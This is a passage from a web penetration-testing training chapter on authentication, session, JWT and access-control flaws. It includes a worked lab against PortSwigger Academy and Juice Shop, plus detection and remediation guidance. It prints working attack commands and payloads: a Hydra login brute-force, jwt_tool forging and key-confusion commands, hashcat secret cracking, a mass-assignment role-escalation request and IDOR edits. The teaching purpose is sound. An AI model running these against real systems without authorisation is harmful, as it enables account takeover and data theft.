- Log in as the high-privilege user in your browser (traffic flows through Burp).
- Log in as the low-privilege user separately; copy that session's
Cookie(orAuthorization) header. - In Autorize, paste the low-priv header into the "insert the low-privileged user's headers" box, and toggle it on.
- Browse the app normally as the high-priv user. Autorize builds a live table: original request | modified (low-priv) status | unauthenticated status | verdict.
A realistic Autorize table:
# | URL | Orig | Modified(low) | Unauth | Authz status
--+------------------------------+------+---------------+--------+---------------
1 | GET /api/admin/users | 200 | 403 | 401 | Enforced!
2 | GET /api/orders/8842 | 200 | 200 | 401 | Bypassed! <-- IDOR
3 | POST /api/admin/promote | 200 | 200 | 401 | Bypassed! <-- vertical
4 | GET /api/profile | 200 | 200 | 401 | Enforced! (own data)
Rows 2 and 3 are your findings: the low-priv user reads another user's order and hits an admin-only promote endpoint. Row 4 is a false-positive-shaped-but-correct result (each user legitimately reads their own profile) — which is exactly why Autorize surfaces candidates and you confirm impact manually.
Mass assignment / parameter tampering for vertical escalation
When a profile-update or registration endpoint binds the request body straight onto a database model, adding fields the UI never shows can escalate you:
PATCH /api/users/me HTTP/1.1
Cookie: session=<userA>
Content-Type: application/json
{"displayName":"Alice","role":"admin","isVerified":true,"credits":999999}If the server updates role because it blindly bound the JSON, userA is now admin.
Test by adding plausible privileged fields you saw elsewhere (in an admin response, in
JS, in the API docs from Chapter 2's mapping) — role, isAdmin, is_staff,
accountType, groupId, verified, balance.
Bug-bounty note: IDOR/BOLA is perennially the highest-volume high-impact category on the major platforms because it is invisible to scanners and lives in custom logic. When you report one, demonstrate concrete impact (accessed another user's PII/orders), include the exact request/response pair, and access the minimum data needed to prove it.
Part 13: The Full Worked Lab — Login to Account Takeover
Time to chain the pieces on a safe, legal target. This lab uses the PortSwigger Web Security Academy (free, browser-based, explicitly built for this) and, for the IDOR portion, OWASP Juice Shop (which Chapter 2 already mapped). Both are intentionally vulnerable and lawful to attack. Fire up Burp, set the proxy, and work through the phases.
flowchart LR
A[Enumerate users] --> B[Brute-force / spray password]
B --> C[Authenticate as low-priv user]
C --> D[Inspect session token / JWT]
D --> E[IDOR: read other users' data]
E --> F[Vertical escalation to admin]
F --> G[Document impact + remediation]
Phase 1 — Username enumeration (length oracle)
Target: the Academy lab "Username enumeration via subtly different responses." Send the login POST to Intruder, Sniper on the username, and load a candidate list. Sort by response length:
Payload Status Length
-------------------------------
ah 200 3105
al 200 3105
...
carlos 200 3117 <-- outlier: valid username
...
carlos is 12 bytes longer — the valid account. Enumeration done.
Phase 2 — Password brute-force with the oracle
Now Intruder again, Sniper on the password this time, username fixed to carlos, load
the lab's candidate-password list. This time the success oracle is a 302 redirect to
/my-account instead of a 200:
Payload Status Length Comment
------------------------------------------
123456 200 3210
password 200 3210
peanut 302 231 <-- redirect: valid password
qwerty 200 3210
peanut logs you in as carlos. In Repeater, confirm you receive the authenticated
session cookie.
Phase 3 — Inspect the session / JWT
Look at what the login handed you. If it is an opaque cookie, run it through Sequencer and check the flags (Part 8). If it is a JWT, decode it:
python3 jwt_tool.py eyJhbGciOiJSUzI1NiIs... # inspect header + claimsSuppose the header says "alg":"RS256" and the payload {"sub":"carlos"}. Grab the
published public key (/jwks.json) and test algorithm confusion:
python3 jwt_tool.py <token> -X k -pk jwks-public.pem
# forge a token with "sub":"administrator", HS256-signed using the public keyPhase 4 — IDOR against Juice Shop
Switch to Juice Shop. Log in as a normal user and open the basket; Burp shows:
GET /rest/basket/6 HTTP/1.1
Cookie: token=<userA-jwt>Change 6 to 1 (another user's basket) and resend with your session:
GET /rest/basket/1 HTTP/1.1
Cookie: token=<userA-jwt>If you receive another user's basket contents, that is a horizontal IDOR/BOLA. Confirm
with Autorize running in the background — it flags the basket/{id} endpoint as
Bypassed! across IDs.
Phase 5 — Vertical escalation
Back on the Academy, target an admin-only action. Two paths, tested in order:
- Forced browsing: as
carlos, request/admindirectly. If it renders, the app never checked role on that route. - Mass assignment / JWT role tamper: if the JWT carries
"role":"user", escalate it (viaalg:none, cracked HMAC secret, or key confusion from Phase 3) to"role":"admin"and re-send. Access the admin panel; delete a test user to demonstrate impact (only in the lab).
Phase 6 — Document
For each finding, capture the exact request/response pair, the affected accounts/data, the severity, and a one-line remediation. That report structure is the actual deliverable — the exploitation was the easy part.
Part 14: Detection & Defense Angle
Every technique above leaves a signature. This consolidated section is what a blue team uses to catch the offense in this chapter — and what you, as a tester, recommend in the remediation section of your report. (Per the reference chapters, defense is the one dimension that earns its own dedicated section rather than being scattered.)
Detecting the attacks:
| Attack | Log/telemetry signal | Detection logic |
|---|---|---|
| Username enumeration | bursts of failed logins across many distinct usernames from one source | rate + distinct-username threshold per IP/session |
| Brute-force (single account) | many failed logins on one account, short window | per-account failure counter → lockout + alert |
| Password spraying | one or few failures across very many accounts | low-per-account, high-distinct-account pattern; correlate by source IP/ASN |
| Credential stuffing | high login volume, many accounts, high success-after-fail ratio, botnet IPs | velocity + IP reputation + impossible-travel |
| Reset-token abuse | many forgot-password requests, mismatched Host/X-Forwarded-Host |
alert on host-header anomalies; pin the reset base URL |
| MFA brute-force | many OTP submissions per pending session | cap attempts, invalidate pending session, alert |
| JWT tampering | signature-verification failures, alg:none, unexpected kid/jku |
log and alert on every verification failure; never fall through to "accept" |
| OAuth abuse | callbacks with unexpected redirect_uri, missing/replayed state |
validate + log redirect_uri and state server-side |
| IDOR/BOLA | one session accessing many distinct object IDs it never "listed" | per-user object-access anomaly; sequential-ID sweeps |
Preventing them (your remediation recommendations):
- Authentication: uniform responses (no enumeration oracle), constant-time credential checks, strong password policy + breach-password screening, rate limiting and account lockout with alerting, CAPTCHA/step-up on anomalies, and MFA that the server enforces on every sensitive action.
- Password reset: cryptographically random, single-use, short-lived tokens; never
build the reset URL from a client-controlled
Host; validate the recipient server-side; treat reset as a full auth event. - Sessions: rotate the session ID on login and on privilege change; set
HttpOnly,Secure,SameSite; scopeDomain/Pathtightly; enforce idle and absolute timeouts; invalidate server-side on logout and on password change; use ≥128 bits of CSPRNG entropy for opaque IDs. - JWT: allowlist algorithms (reject
none, pin the intended one), verify the signature always and first, use a strong managed secret/key, validateexp/nbf, pinjku/jwk/kidsources, and keep lifetimes short with a revocation list for logout. - OAuth/SSO: strict exact-match
redirect_uriallow-listing, a mandatory verifiedstate, single-use short-lived codes, and fullid_tokenvalidation (signature/iss/aud/exp) before trusting any claim. - Access control: deny by default; enforce object-level authorisation on every request server-side using the session's identity, never a client-supplied ID or role; centralise the checks; use unguessable references in addition to (never instead of) real authorisation; reject unknown/privileged fields on binding (guard against mass assignment).
IR use case: when an account-takeover is reported, the reset-token logs, the session-issuance/rotation logs, and the object-access logs above are exactly what an incident responder pulls to reconstruct how the attacker got in and what they touched — which is why the defensive recommendation is always "log these events richly," not just "block them."
Final Revision / Summary
- Three boundaries, tested independently. Authentication (who are you), session management (prove it each request), authorisation (allowed to do this) each fail in their own way; walk each gate and ask "what if I lie here?"
- Enumerate before you brute-force. Message, status, length and timing differences turn a login into a user directory. The length oracle is the one beginners miss.
- Pick the right password attack. Brute-force and dictionary are loud on one account; spraying (one common password across many users) defeats lockout and is the real-world winner. Try default/leaked creds first.
- Password reset is a second login. Predictable tokens, host-header poisoning, recipient tampering, reusable/never-expiring tokens, and weak recovery questions all yield account takeover.
- MFA is often a bolt-on. Response manipulation, step-skipping/forced browsing, unthrottled OTP brute-force, code reuse, and backup-code weakness bypass it.
- Sessions live and die by lifecycle and randomness. Missing cookie flags, weak entropy, session fixation (no rotation on login), and sessions that survive logout or password change are all real, testable findings.
- JWTs carry their own trust — so tamper with it. Test
alg:none, weak HMAC secrets, RS256→HS256 confusion,jku/jwk/kidinjection, and (first of all) the server that never verifies the signature at all. - OAuth spreads trust across two systems.
redirect_uriandstateflaws are the classic account-takeover primitives; treat the OIDCid_tokenas a JWT. - Access control is where the money is. IDOR/BOLA (swap the object ID) and privilege escalation (forced browsing, role tampering, mass assignment) dominate bug-bounty impact. Test with two same-level accounts + roles, build an authz matrix, and let Autorize replay everything at lower privilege.
- Everything leaves a signature. Each attack maps to a detection and a fix — that mapping is your remediation section.
Cheat Sheet / Quick Reference
Enumeration & brute-force
# Burp Intruder: Sniper on username, sort by Length for the enumeration oracle.
# Hydra web-form brute-force (throttled, stop on first hit, verbose):
hydra -L users.txt -P rockyou.txt target.example http-post-form \
"/login:username=^USER^&password=^PASS^:Invalid username or password" -t 4 -f -V
# Success-string variant:
# "...:S=Location: /dashboard"Password spraying logic: loop passwords on the outside, users on the inside — one attempt per account per round to stay under lockout.
Session checks
[ ] Session ID rotates on login? (else: fixation)
[ ] HttpOnly + Secure + SameSite set on auth cookie?
[ ] Domain/Path scoped tightly?
[ ] Idle + absolute timeout enforced?
[ ] Session dies server-side on logout AND on password change?
[ ] Token entropy > 64 bits (Burp Sequencer)? Not base64 of user:id:ts?
JWT
python3 jwt_tool.py <token> # decode
python3 jwt_tool.py <token> -M pb # run attack playbook
python3 jwt_tool.py <token> -X a # alg:none forge
python3 jwt_tool.py <token> -C -d rockyou.txt # crack HS256 secret
python3 jwt_tool.py <token> -X k -pk pub.pem # RS256->HS256 confusion
hashcat -a 0 -m 16500 token.txt rockyou.txt # crack HMAC secret (hashcat)
# First test of all: edit payload, don't re-sign — does the server even verify?Access control
[ ] Two same-level accounts provisioned (userA, userB)? Roles too?
[ ] Every request with an ID replayed with the OTHER user's session?
[ ] Same request replayed with NO session?
[ ] Method swapped (GET->POST/PUT/DELETE)?
[ ] Web route retried as API route (/x/1 -> /api/x/1)?
[ ] Autorize running: watch for "Bypassed!"
[ ] Mass assignment: add role/isAdmin/accountType to update bodies?
Reset, MFA & OAuth
[ ] Reset token predictable / sequential / a hash of known input?
[ ] Reset link built from Host / X-Forwarded-Host? (poisoning)
[ ] Duplicate/extra email param redirects the token?
[ ] Reset token single-use and short-lived?
[ ] OTP endpoint rate-limited + attempt-capped? Code single-use, bound to session?
[ ] MFA step skippable by forced browsing to /dashboard?
[ ] OAuth redirect_uri strictly allow-listed? state present + verified?
Common Pitfalls
- Testing only one account. Access control is inherently comparative — without a second user and a lower/higher role you cannot see the boundary. Provision accounts first.
- Trusting UUIDs as security. Non-sequential IDs are obscurity, not authorisation. If the ID is discoverable anywhere the user can see it, the IDOR still stands.
- Judging a login by the browser, not the bytes. Two responses can look identical
on screen and differ by 12 bytes — the enumeration oracle lives in
Content-Length, not the rendered page. - Forgetting the API twin. The web route may enforce access control while the
/api/route that backs it does not. Always test both. - Only brute-forcing, never spraying. Lockout stops brute-force but not spraying; skipping the spray misses the bug the defence was blind to.
- Not testing logout/password-change invalidation. These are two-minute Repeater tests that hit on a surprising fraction of apps and are easy to forget.
- Signature tunnel vision on JWTs. Test the "server never verifies the signature" case first — it is one edit and it is shockingly common — before reaching for cracking or key confusion.
- Over-collecting data on an IDOR. Prove impact with one other record, redacted. Dumping a database to "demonstrate severity" is an ethics and legal failure.
Practice Labs & Resources
Everything below trains this chapter's skills specifically:
- PortSwigger Web Security Academy — Authentication (free): the full set of username-enumeration (subtly different responses, response timing), password brute-force with rate-limit bypass, 2FA/MFA bypass and broken brute-force protection, and password-reset (host-header poisoning, token abuse) labs. The single best structured practice for Parts 3–7.
- PortSwigger Academy — Access Control & IDOR: the horizontal/vertical privilege escalation, IDOR, and multi-step-process access-control labs cover Part 12 end to end.
- PortSwigger Academy — JWT: dedicated labs for
alg:none, weak HMAC secret, JWK/JKU header injection,kidpath traversal, and algorithm confusion — Part 10 in full, ideal alongsidejwt_tool. - PortSwigger Academy — OAuth 2.0: the
redirect_uriandstateaccount-takeover and OpenID labs cover Part 11. - OWASP Juice Shop: the basket/feedback/order IDOR challenges and the admin-section
and JWT challenges — a full-app version of the lab in Part 13; run it locally with
docker run -p 3000:3000 bkimminich/juice-shop. - HackTheBox / TryHackMe: THM's Authentication Bypass, IDOR, and JWT rooms; HTB web boxes that hinge on default creds, IDOR, or JWT forgery for the foothold.
- HackerOne / Bugcrowd disclosed reports: filter by "IDOR", "broken access control", "improper authentication", and "JWT" to read how real payouts were found and written up — the single best way to calibrate impact and report quality.
In the next chapter we move from testing these boundaries in isolation to chaining web vulnerabilities into a full compromise — taking a single web bug and turning it, step by step, into a shell on the underlying server, the way a real engagement's findings connect into one attack narrative.